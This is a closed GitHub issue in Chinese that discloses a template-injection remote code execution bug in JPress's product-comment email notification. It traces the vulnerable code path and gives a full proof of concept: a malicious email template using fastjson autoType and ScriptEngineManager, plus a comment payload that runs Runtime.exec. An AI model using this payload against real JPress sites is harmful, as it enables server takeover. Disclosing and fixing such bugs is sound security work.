Closed Er1cccc closed 2 years ago
与之前两篇不同,之前交过两个邮件模板注入的洞,一个触发点是在article的评论处,一个是在page的评论处,这次是在product的评论处,代码很相似,但不是同一份代码
jpress后台提供了评论邮件通知管理员功能,而且发送的邮件模板可控,官方给出了例子,告诉我们可以用#(comment.id),那么猜测这里可能会存在模板渲染问题
#(comment.id)
接着,尝试发一条评论看看后端代码的执行流程,后端对应的代码是io.jpress.module.product.controller.front.ProductController#postComment,这个方法的作用主要是将评论信息保存到数据库,同时还会发送短信通知网站管理员
io.jpress.module.product.controller.front.ProductController#postComment
跟进io.jpress.module.product.ProductNotifyKit#doNotifyAdministrator,发现这里定义了两种方式,一个是sms发送,一个是email,我们跟进email的
io.jpress.module.product.ProductNotifyKit#doNotifyAdministrator
发现doNotifyAdministratorByEmail方法会继续调用doSendEmail,这个函数里面有模板渲染操作,在第90和91行,分别对邮件的emailTitle和emailTemplate调用getTemplateByString进行渲染,这两个变量实际上就是最开始我们在前端页面输入的
doNotifyAdministratorByEmail
doSendEmail
getTemplateByString
分析到这里,结合之前交过的那个邮件模板rce,应该可以直接打模板注入了
首先通过弱密码进入后台
然后开启这两项
然后配置管理员邮箱,随便配一个,这个是收件者
还得配置发送者的邮箱,配置完记得点提交,拉到最下面点提交
然后设置恶意邮件模板,同样记得要提交
#set(str=comment.content) #set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) #(x.setAutoTypeSupport(true)) #set(sem=str.substring(0, str.indexOf(124))) #set(str=str.substring(str.indexOf(124)+1)) #(x.addAccept(sem)) #set(json=str.substring(0, str.indexOf(124))) #set(str=str.substring(str.indexOf(124)+1)) #set(x=com.alibaba.fastjson.JSON::parse(json)) #set(js=str.substring(0, str.indexOf(124))) #set(str=str.substring(str.indexOf(124)+1)) #set(e=x.getEngineByName(js)) #(e.eval(str))
然后创建一个product,点击上架
访问一下刚刚的商品
接下来,在商品下面评论如下内容
javax.script.ScriptEngineManager|{"@type":"javax.script.ScriptEngineManager"}|js|java.lang.Runtime.getRuntime().exec("calc")
发现计算器成功弹出,漏洞验证成功
在 jpress 最新版本中已解决。
审计过程
与之前两篇不同,之前交过两个邮件模板注入的洞,一个触发点是在article的评论处,一个是在page的评论处,这次是在product的评论处,代码很相似,但不是同一份代码
jpress后台提供了评论邮件通知管理员功能,而且发送的邮件模板可控,官方给出了例子,告诉我们可以用
#(comment.id)
,那么猜测这里可能会存在模板渲染问题接着,尝试发一条评论看看后端代码的执行流程,后端对应的代码是
io.jpress.module.product.controller.front.ProductController#postComment
,这个方法的作用主要是将评论信息保存到数据库,同时还会发送短信通知网站管理员跟进
io.jpress.module.product.ProductNotifyKit#doNotifyAdministrator
,发现这里定义了两种方式,一个是sms发送,一个是email,我们跟进email的发现
doNotifyAdministratorByEmail
方法会继续调用doSendEmail
,这个函数里面有模板渲染操作,在第90和91行,分别对邮件的emailTitle和emailTemplate调用getTemplateByString
进行渲染,这两个变量实际上就是最开始我们在前端页面输入的分析到这里,结合之前交过的那个邮件模板rce,应该可以直接打模板注入了
效果演示
首先通过弱密码进入后台
然后开启这两项
然后配置管理员邮箱,随便配一个,这个是收件者
还得配置发送者的邮箱,配置完记得点提交,拉到最下面点提交
然后设置恶意邮件模板,同样记得要提交
然后创建一个product,点击上架
访问一下刚刚的商品
接下来,在商品下面评论如下内容
发现计算器成功弹出,漏洞验证成功